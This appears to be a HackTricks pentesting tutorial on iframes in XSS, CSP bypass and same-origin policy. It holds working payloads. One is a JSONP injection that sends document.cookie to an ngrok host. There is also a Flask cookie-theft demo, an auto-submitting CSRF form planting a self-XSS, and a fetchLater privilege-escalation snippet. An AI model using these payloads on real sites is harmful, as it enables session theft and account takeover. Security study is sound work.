Iframes in XSS, CSP and SOP

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Iframes in XSS

There are 3 ways to indicate the content of an iframed page:

  • Via src indicating an URL (the URL may be cross origin or same origin)
  • Via src indicating the content using the data: protocol
  • Via srcdoc indicating the content

Accesing Parent & Child vars

html
<html>
  <script>
    var secret = "31337s3cr37t"
  </script>

  <iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
  <iframe id="if2" src="child.html"></iframe>
  <iframe
    id="if3"
    srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
  <iframe
    id="if4"
    src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

  <script>
    function access_children_vars() {
      alert(if1.secret)
      alert(if2.secret)
      alert(if3.secret)
      alert(if4.secret)
    }
    setTimeout(access_children_vars, 3000)
  </script>
</html>
html
<!-- content of child.html -->
<script>
  var secret = "child secret"
  alert(parent.secret)
</script>

If you access the previous html via a http server (like python3 -m http.server) you will notice that all the scripts will be executed (as there is no CSP preventing it)., the parent won’t be able to access the secret var inside any iframe and only the iframes if2 & if3 (which are considered to be same-site) can access the secret in the original window.
Note how if4 is considered to have null origin.

Iframes with CSP

tip

Please, note how in the following bypasses the response to the iframed page doesn't contain any CSP header that prevents JS execution.

The self value of script-src won’t allow the execution of the JS code using the data: protocol or the srcdoc attribute.
However, even the none value of the CSP will allow the execution of the iframes that put a URL (complete or just the path) in the src attribute.
Therefore it’s possible to bypass the CSP of a page with:

html
<html>
  <head>
    <meta
      http-equiv="Content-Security-Policy"
      content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='" />
  </head>
  <script>
    var secret = "31337s3cr37t"
  </script>
  <iframe id="if1" src="child.html"></iframe>
  <iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
  <iframe
    id="if3"
    srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
  <iframe
    id="if4"
    src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

Note how the previous CSP only permits the execution of the inline script.
However, only if1 and if2 scripts are going to be executed but only if1 will be able to access the parent secret.

Therefore, it’s possible to bypass a CSP if you can upload a JS file to the server and load it via iframe even with script-src 'none'. This can potentially be also done abusing a same-site JSONP endpoint.

You can test this with the following scenario were a cookie is stolen even with script-src 'none'. Just run the application and access it with your browser:

python
import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
    resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
    resp.headers['Content-Security-Policy'] = "script-src 'self'"
    resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
    return resp

@app.route("/cookie_s.html")
def cookie_s():
    return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
    app.run()

Other Payloads found on the wild

html
<!-- This one requires the data: scheme to be allowed -->
<iframe
  srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
  src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Iframe sandbox

The content within an iframe can be subjected to additional restrictions through the use of the sandbox attribute. By default, this attribute is not applied, meaning no restrictions are in place.

When utilized, the sandbox attribute imposes several limitations:

  • The content is treated as if it originates from a unique source.
  • Any attempt to submit forms is blocked.
  • Execution of scripts is prohibited.
  • Access to certain APIs is disabled.
  • It prevents links from interacting with other browsing contexts.
  • Use of plugins via <embed>, <object>, <applet>, or similar tags is disallowed.
  • Navigation of the content's top-level browsing context by the content itself is prevented.
  • Features that are triggered automatically, like video playback or auto-focusing of form controls, are blocked.

The attribute's value can be left empty (sandbox="") to apply all the aforementioned restrictions. Alternatively, it can be set to a space-separated list of specific values that exempt the iframe from certain restrictions.

html
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>

Credentialless iframes

As explained in this article, the credentialless flag in an iframe is used to load a page inside an iframe without sending credentials in the request while maintaining the same origin policy (SOP) of the loaded page in the iframe.

This allows the iframe to access sensitive information from another iframe in the same SOP loaded in the parent page:

javascript
window.top[1].document.body.innerHTML = 'Hi from credentialless';
alert(window.top[1].document.cookie);
  • Exploit example: Self-XSS + CSRF

In this attack, the attacker prepares a malicious webpage with 2 iframes:

  • An iframe that loads the victim's page with the credentialless flag with a CSRF that triggers a XSS (Imagin a Self-XSS in the username of the user):

    <html>
<body>
  <form action="http://victim.domain/login" method="POST">
    <input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
    <input type="hidden" name="password" value="Super_s@fe_password" />
    <input type="submit" value="Submit request" />
  </form>
  <script>
    document.forms[0].submit();
  </script>
</body>
</html>

  • Another iframe that actually has the user logged in (without the credentialless flag).

Then, from the XSS it's possible to access the other iframe as they have the same SOP and steal the cookie for example executing:

javascript
alert(window.top[1].document.cookie);

fetchLater Attack

As indicated in this article The API fetchLater allows to configure a request to be executed later (after a certain time). Therefore, this can be abused to for example, login a victim inside an attackers session (with Self-XSS), set a fetchLater request (to change the password of the current user for example) and logout from the attackers session. Then, the victim logs in in his own session and the fetchLater request will be executed, changing the password of the victim to the one set by the attacker.

This way even if the victim URL cannot be loaded in an iframe (due to CSP or other restrictions), the attacker can still execute a request in the victim's session.

javascript
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
const minute = 60000
let arr = [minute, minute * 60, minute * 60 * 24, ...]
for (let timeout of arr)
  fetchLater(req,{activateAfter: timeout})

Iframes in SOP

Check the following pages:

Bypassing SOP with Iframes - 1

Bypassing SOP with Iframes - 2

Blocking main page to steal postmessage

Steal postmessage modifying iframe location

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Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

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